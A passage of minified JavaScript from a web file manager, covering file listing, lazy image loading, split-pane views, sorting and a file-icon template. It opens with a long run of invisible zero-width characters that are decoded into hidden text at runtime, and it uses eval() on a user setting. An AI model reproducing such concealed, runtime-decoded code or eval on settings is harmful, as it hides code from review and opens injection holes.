‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='<div class="split_box" data-path="'+pathHashEncode(G.this_path)+'"><div class="content">'+t+'<div class="content_more"></div> </div><div class="split_drag"></div></div>'),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),u=p*d+i;u>a&&(u=a),u-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,u),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,u)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(i).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}"not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n 